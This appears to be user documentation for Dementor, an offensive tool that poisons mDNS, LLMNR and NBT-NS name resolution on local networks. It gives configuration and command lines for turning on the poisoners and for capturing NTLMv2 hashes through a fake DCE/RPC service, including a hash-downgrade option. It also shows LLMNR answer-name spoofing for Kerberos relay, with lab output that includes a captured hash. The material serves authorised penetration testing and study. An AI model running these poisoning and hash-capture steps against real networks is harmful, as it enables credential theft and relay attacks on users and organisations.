Multicast Poisoning ⚙️¶
Classic Multicast Poisoning¶
To enable multicast poisoning, activate the poisoners in the configuration file
(Dementor.mDNS, Dementor.NBTNS, and Dementor.LLMNR).
[Dementor]
# [...]
mDNS = true
LLMNR = true
NBTNS = true
# [...]
$ Dementor -I "$INTERFACE" -O LLMNR=On -O mDNS=On -O NBTNS=On
You can trigger a discovery request from a Windows host, assuming mDNS is active. For example,
trying to access the file share \\FILESERVER01 via File Explorer causes Windows to fall back to
mDNS when DNS resolution fails.
Dementor output in analyze mode should look like this:
$ Dementor -I <INTERFACE> -A
[...]
MDNS 192.168.56.115 5353 [*] Request for FILESERVER01.local (class: IN, type: A)
MDNS 192.168.56.115 5353 [*] Request for FILESERVER01.local (class: IN, type: AAAA)
[...]
The Windows client issues two queries: one for IPv4 (A) and one for IPv6 (AAAA). These are
sent using Layer 2 broadcast and Layer 3 multicast to all devices on the subnet. Since mDNS is
link-local only, all hosts listening on port 5353 will receive the request.
Using Multicast Poisoning for DCE/RPC Calls¶
Multicast poisoning can also be used to capture NTLM hashes via DCE/RPC requests using Dementor’s built-in DCE/RPC service. By default, any call involving DCOM or the Endpoint Mapper (EPM) is available.
[Dementor]
# [...]
RPC = true
# [...]
$ Dementor -I "$INTERFACE" -O RPC=On
Hint
You can attempt to downgrade the captured NTLM hash using NTLM.ExtendedSessionSecurity.
To test this via the CLI:
$ Dementor -I "$INTERFACE" -O RPC=On -O RPC.ExtendedSessionSecurity=Off
To trigger a multicast-based RPC call, use a Windows tool such as gpresult to request Group
Policy data from a machine whose name will be resolved via mDNS:
PS C:\Users\padawan> gpresult /S GROUPOLICYSRV /Z
Type the password for OUTPOST\padawan:
If successful, Dementor will output something similar, including a captured NTLMv2 hash:
$ Dementor -I "$INTERFACE" -O RPC=On
# [...]
MDNS 192.168.56.120 5353 [*] Request for GROUPOLICYSRV.local (class: IN, type: AAAA)
MDNS 192.168.56.120 5353 [+] Sent poisoned answer to 192.168.56.120
# [...]
DCE/RPC 192.168.56.120 135 [*] Bind request for [MS-DCOM]: Distributed Component Object Model (DCOM) Remote v0.0 (TransferSyntax Negotiation)
DCE/RPC 192.168.56.120 135 [*] Bind request for [MS-DCOM]: Distributed Component Object Model (DCOM) Remote v0.0 (NTLMSSP_NEGOTIATE)
DCE/RPC 192.168.56.120 135 [+] Captured NTLMv2 Hash for padawan/OUTPOST from fe80::a0c0:8ed2:6788:65f1:
DCE/RPC 192.168.56.120 135 NTLMv2 Username: padawan
DCE/RPC 192.168.56.120 135 NTLMv2 Hash: padawan::OUTPOST:313333374c454554:025aae2633c04b165fe8a601ed483fa4[...]
LLMNR Answer-Name Spoofing¶
Beyond traditional multicast poisoning, Synacktiv introduced a technique that enables Kerberos
relaying via spoofed response names. This can be triggered by setting a custom
LLMNR.AnswerName.
[LLMNR]
AnswerName = "other-srv"
$ Dementor -I "$INTERFACE" -O LLMNR.AnswerName="other-srv"
See also
Synacktiv’s excellent write-up on abusing this for pre-authenticated Kerberos relay attacks:
Example output when using a spoofed LLMNR answer name:
LLMNR.AnswerName is set (here "other-srv")¶LLMNR 192.168.56.116 5355 [*] Query for SomeService (type: A)
LLMNR 192.168.56.116 5355 [+] Sent poisoned answer to 192.168.56.116 (spoofed name: other-srv)
LLMNR fe80::8930:4b9c:f67c:f9bf 5355 [*] Query for SomeService (type: AAAA)
LLMNR fe80::8930:4b9c:f67c:f9bf 5355 [+] Sent poisoned answer to fe80::8930:4b9c:f67c:f9bf (spoofed name: other-srv)
LLMNR 192.168.56.116 5355 [*] Query for SomeService (type: AAAA)
LLMNR 192.168.56.116 5355 [+] Sent poisoned answer to 192.168.56.116 (spoofed name: other-srv)
LLMNR fe80::8930:4b9c:f67c:f9bf 5355 [*] Query for SomeService (type: A)
LLMNR fe80::8930:4b9c:f67c:f9bf 5355 [+] Sent poisoned answer to fe80::8930:4b9c:f67c:f9bf (spoofed name: other-srv)
LLMNR 192.168.56.116 5355 [*] Query for SomeService (type: A)
LLMNR 192.168.56.116 5355 [+] Sent poisoned answer to 192.168.56.116 (spoofed name: other-srv)